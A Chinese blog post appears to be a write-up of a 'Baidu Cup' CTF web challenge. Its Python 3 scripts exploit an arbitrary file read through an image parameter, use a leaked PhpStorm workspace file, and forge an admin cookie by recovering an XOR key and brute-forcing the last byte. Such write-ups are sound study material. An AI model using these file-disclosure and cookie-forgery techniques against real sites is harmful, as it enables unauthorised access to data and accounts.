“百度杯”CTF比赛 九月场 考脑洞，你能过么？ python3

原创

aYang01 于 2020-11-14 12:00:51 发布 120 收藏

分类专栏： CTF 文章标签： 安全 php python

版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。

本文链接：https://blog.csdn.net/weixin_42357645/article/details/109688718

版权

CTF 专栏收录该内容

1 篇文章 0 订阅

订阅专栏

考脑洞，你能过么？ python3

“百度杯”CTF比赛 九月场 Writeup 题解

0x01

changame.ichunqiu.com/index.php?jpg=hei.jpg
根据url格式就想试一下jpg=index.php
浏览器F12查看源码img标签似乎是base64

直接上python3代码

```
#ready
import requests
import re
import base64
from time import sleep
urlPart1='9fa9f9800df645d298a20aa10434d175582dd9f1b1804281'
url='http://'+urlPart1+'.changame.ichunqiu.com/'
```

Go

```
res=requests.get(url+'index.php?jpg=index.php')
if res.status_code==404:
    print('404 Not Found')
else:
    phpidxComp=re.compile(r"base64,([\w/\+=]+)")
    print(str(base64.b64decode(phpidxComp.findall(res.text)[0]),'utf-8'))
```

输出是这样的

```php
<?php
/**
 * Created by PhpStorm.//
 * Date: 2015/11/16
 * Time: 1:31
 */
header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
    header('Refresh:0;url=./index.php?jpg=hei.jpg');
$file = $_GET['jpg'];
echo '<title>file:'.$file.'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);//文件名中只能包含a-zA-Z0-9.
$file = str_replace("config","_", $file);//会将config替换成‘_’符号
$txt = base64_encode(file_get_contents($file));

echo "<img src='".$txt."'></img>";

/*
 * Can you find the flag file?
 *
 */

?>
```

这段代码设置消息头`content-type`为`text/html;charset=utf-8`
判断GET参数中有没有jpg，没有jpg参数就设置消息头`Refresh:0;url=./index.php?jpg=hei.jpg`
变量`$file`为`$_GET['jpg']`的值并设置HTML标题这都不是关键
这几句话是解题关键

```php
/**
 * Created by PhpStorm.
 * Date: 2015/11/16
 * Time: 1:31
 */
' phpstorm会产生一个./idea文件，尝试访问 .idea/workspace.xml'
 $file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);'//文件名中只能包含a-zA-Z0-9.'
$file = str_replace("config","_", $file);'//会将config替换成‘_’符号'
```

0x02
访问`changame.ichunqiu.com/.idea/workspace.xml`

```xml
<list>
<option value="$PROJECT_DIR$/x.php"/>
<option value="$PROJECT_DIR$/config.php"/>
<option value="$PROJECT_DIR$/fl3g_ichuqiu.php"/>
</list>
```

`changame.ichunqiu.com/index.php?jpg=fl3g_ichuqiu.php`可以查看fl3g_ichuqiu.php的源码但是需要用config替换`_`
也就是`changame.ichunqiu.com/index.php?jpg=fl3gconfigichuqiu.php`

```python
res=requests.get(url+'index.php?jpg=fl3gconfigichuqiu.php')
if res.status_code==404:
    print('404 Not Found')
else:
    phpidxComp=re.compile(r"base64,([\w/\+=]*)")
    print(str(base64.b64decode(phpidxComp.findall(res.text)[0]),'utf-8'))
```

0x03

文件是一个加密解密的过程，有两个关键点python3和Python2的`bytes()`函数在处理字符串的时候似乎有点不一样。用python3的时候可以用我这种方法，整个过程不要将`byte`转为`str`。第二点就是已知的密文长度为`5`，需要加密`6`位的字符串。利用md5可能出现的值有`0123456789abcdefghijklmnopqrstuvwxyz`进行爆破得到flag。python3源码：

```
#get cookie
sessionReq=requests.session()
res=sessionReq.get(url)
print(res.cookies['user'],base64.b64decode(res.cookies['user']))

#decode, Separating salt
saltIncip=base64.b64decode(res.cookies['user'])
enStr=b"guest"
salt=saltIncip[:4]
cip=saltIncip[4:]
#Get the top five keys
key=[]
for enNum in range(len(enStr)):
    key.append((enStr[enNum]+10)^cip[enNum])

#Encrypt the first five characters
deStr=b"system"
deCode=[]
for i in range(5):
    deCode.append((deStr[i]+10)^key[i])

#生成字典，存在情况不多直接存列表里
keyList=[]
for i in b'0123456789abcdefghijklmnopqrstuvwxyz':
    keyList.append(list(salt)+deCode+[(109+10)^i])
#存的是数字转成byte
chrList=[]
for i in keyList:
    chrList.append(bytearray(i))

#读字典爆破

#%%
for i in chrList:
    cookies={
        'user':base64.b64encode(i).decode()
    }
    res=requests.get(url,cookies=cookies)

    flagComp=re.compile(r'flag\{.+\}')
    flagtxt=flagComp.findall(res.text)

    if flagtxt:
        print(flagtxt)
        break
    else:
        # i-=1
        print(cookies['user'],res.text)
```